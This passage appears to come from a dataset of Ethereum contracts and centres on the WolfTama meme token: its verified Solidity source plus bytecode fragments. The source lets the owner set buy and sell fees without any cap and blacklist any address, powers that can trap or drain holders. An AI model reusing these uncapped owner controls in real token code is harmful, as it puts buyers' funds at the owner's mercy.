ffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b390919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ca90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b390919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6113880281565b60008111610a1d57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6957600080fd5b6000339050610ac082600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b390919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b18826001546114b390919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce7576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7b565b610cfa83826114b390919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600581526020017f524548414200000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4857600080fd5b610f9a82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061102f82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ca90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117282600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ca90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114bf57fe5b818303905092915050565b6000808284019050838110156114dc57fe5b809150509291505056fea26469706673582212209e8f752a84efc7947ddf61f7f6a22461076882e61913d6b2f7e781425db63df764736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,957 |
0x480fdd3a1c9328c6b1db59565ea19117228fb7fb | /**
*Submitted for verification at Etherscan.io on 2022-02-04
*/
/*
WolfTama - $WOLFTAMA
Telegram : https://t.me/WolfTama
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WolfTama is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "WolfTama";
string private constant _symbol = "WOLFTAMA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xf09b35695f709a3f035Cd926c1f3683824Ef445D);
address payable private _marketingAddress = payable(0xf09b35695f709a3f035Cd926c1f3683824Ef445D);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = true;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50000000000 * 10**9; // 5% of total supply
uint256 public _maxWalletSize = 90000000000 * 10**9; // 9% of total supply
uint256 public _swapTokensAtAmount = 100000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637c519ffb116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461054d578063dd62ed3e1461056d578063ea1644d5146105b3578063f2fde38b146105d357600080fd5b8063a2a957bb146104c8578063a9059cbb146104e8578063bfd7928414610508578063c3c8cd801461053857600080fd5b80638da5cb5b116100d15780638da5cb5b146104435780638f9a55c01461046157806395d89b411461047757806398a5c315146104a857600080fd5b80637c519ffb146103eb5780637d1db4a5146104005780637f2feddc1461041657600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611950565b6105f3565b005b34801561020a57600080fd5b50604080518082019091526008815267576f6c6654616d6160c01b60208201525b6040516102389190611a15565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a6a565b610692565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50683635c9adc5dea000005b604051908152602001610238565b3480156102db57600080fd5b506102616102ea366004611a96565b6106a9565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610238565b34801561032d57600080fd5b50601554610291906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ad7565b610712565b34801561036d57600080fd5b506101fc61037c366004611b04565b61075d565b34801561038d57600080fd5b506101fc6107a5565b3480156103a257600080fd5b506102c16103b1366004611ad7565b6107f0565b3480156103c257600080fd5b506101fc610812565b3480156103d757600080fd5b506101fc6103e6366004611b1f565b610886565b3480156103f757600080fd5b506101fc6108b5565b34801561040c57600080fd5b506102c160165481565b34801561042257600080fd5b506102c1610431366004611ad7565b60116020526000908152604090205481565b34801561044f57600080fd5b506000546001600160a01b0316610291565b34801561046d57600080fd5b506102c160175481565b34801561048357600080fd5b50604080518082019091526008815267574f4c4654414d4160c01b602082015261022b565b3480156104b457600080fd5b506101fc6104c3366004611b1f565b6108f4565b3480156104d457600080fd5b506101fc6104e3366004611b38565b610923565b3480156104f457600080fd5b50610261610503366004611a6a565b610961565b34801561051457600080fd5b50610261610523366004611ad7565b60106020526000908152604090205460ff1681565b34801561054457600080fd5b506101fc61096e565b34801561055957600080fd5b506101fc610568366004611b6a565b6109c2565b34801561057957600080fd5b506102c1610588366004611bee565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105bf57600080fd5b506101fc6105ce366004611b1f565b610a63565b3480156105df57600080fd5b506101fc6105ee366004611ad7565b610a92565b6000546001600160a01b031633146106265760405162461bcd60e51b815260040161061d90611c27565b60405180910390fd5b60005b815181101561068e5760016010600084848151811061064a5761064a611c5c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068681611c88565b915050610629565b5050565b600061069f338484610b7c565b5060015b92915050565b60006106b6848484610ca0565b610708843361070385604051806060016040528060288152602001611da2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111dc565b610b7c565b5060019392505050565b6000546001600160a01b0316331461073c5760405162461bcd60e51b815260040161061d90611c27565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107875760405162461bcd60e51b815260040161061d90611c27565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107da57506013546001600160a01b0316336001600160a01b0316145b6107e357600080fd5b476107ed81611216565b50565b6001600160a01b0381166000908152600260205260408120546106a390611250565b6000546001600160a01b0316331461083c5760405162461bcd60e51b815260040161061d90611c27565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b05760405162461bcd60e51b815260040161061d90611c27565b601655565b6000546001600160a01b031633146108df5760405162461bcd60e51b815260040161061d90611c27565b6015805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461091e5760405162461bcd60e51b815260040161061d90611c27565b601855565b6000546001600160a01b0316331461094d5760405162461bcd60e51b815260040161061d90611c27565b600893909355600a91909155600955600b55565b600061069f338484610ca0565b6012546001600160a01b0316336001600160a01b031614806109a357506013546001600160a01b0316336001600160a01b0316145b6109ac57600080fd5b60006109b7306107f0565b90506107ed816112d4565b6000546001600160a01b031633146109ec5760405162461bcd60e51b815260040161061d90611c27565b60005b82811015610a5d578160056000868685818110610a0e57610a0e611c5c565b9050602002016020810190610a239190611ad7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5581611c88565b9150506109ef565b50505050565b6000546001600160a01b03163314610a8d5760405162461bcd60e51b815260040161061d90611c27565b601755565b6000546001600160a01b03163314610abc5760405162461bcd60e51b815260040161061d90611c27565b6001600160a01b038116610b215760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bde5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161061d565b6001600160a01b038216610c3f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161061d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d045760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161061d565b6001600160a01b038216610d665760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161061d565b60008111610dc85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161061d565b6000546001600160a01b03848116911614801590610df457506000546001600160a01b03838116911614155b156110d557601554600160a01b900460ff16610e8d576000546001600160a01b03848116911614610e8d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161061d565b601654811115610edf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161061d565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2157506001600160a01b03821660009081526010602052604090205460ff16155b610f795760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161061d565b6015546001600160a01b03838116911614610ffe5760175481610f9b846107f0565b610fa59190611ca3565b10610ffe5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161061d565b6000611009306107f0565b6018546016549192508210159082106110225760165491505b8080156110395750601554600160a81b900460ff16155b801561105357506015546001600160a01b03868116911614155b80156110685750601554600160b01b900460ff165b801561108d57506001600160a01b03851660009081526005602052604090205460ff16155b80156110b257506001600160a01b03841660009081526005602052604090205460ff16155b156110d2576110c0826112d4565b4780156110d0576110d047611216565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061111757506001600160a01b03831660009081526005602052604090205460ff165b8061114957506015546001600160a01b0385811691161480159061114957506015546001600160a01b03848116911614155b15611156575060006111d0565b6015546001600160a01b03858116911614801561118157506014546001600160a01b03848116911614155b1561119357600854600c55600954600d555b6015546001600160a01b0384811691161480156111be57506014546001600160a01b03858116911614155b156111d057600a54600c55600b54600d555b610a5d8484848461145d565b600081848411156112005760405162461bcd60e51b815260040161061d9190611a15565b50600061120d8486611cbb565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561068e573d6000803e3d6000fd5b60006006548211156112b75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161061d565b60006112c161148b565b90506112cd83826114ae565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061131c5761131c611c5c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137057600080fd5b505afa158015611384573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a89190611cd2565b816001815181106113bb576113bb611c5c565b6001600160a01b0392831660209182029290920101526014546113e19130911684610b7c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141a908590600090869030904290600401611cef565b600060405180830381600087803b15801561143457600080fd5b505af1158015611448573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146a5761146a6114f0565b61147584848461151e565b80610a5d57610a5d600e54600c55600f54600d55565b6000806000611498611615565b90925090506114a782826114ae565b9250505090565b60006112cd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611657565b600c541580156115005750600d54155b1561150757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153087611685565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156290876116e2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115919086611724565b6001600160a01b0389166000908152600260205260409020556115b381611783565b6115bd84836117cd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160291815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061163182826114ae565b82101561164e57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116785760405162461bcd60e51b815260040161061d9190611a15565b50600061120d8486611d60565b60008060008060008060008060006116a28a600c54600d546117f1565b92509250925060006116b261148b565b905060008060006116c58e878787611846565b919e509c509a509598509396509194505050505091939550919395565b60006112cd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111dc565b6000806117318385611ca3565b9050838110156112cd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161061d565b600061178d61148b565b9050600061179b8383611896565b306000908152600260205260409020549091506117b89082611724565b30600090815260026020526040902055505050565b6006546117da9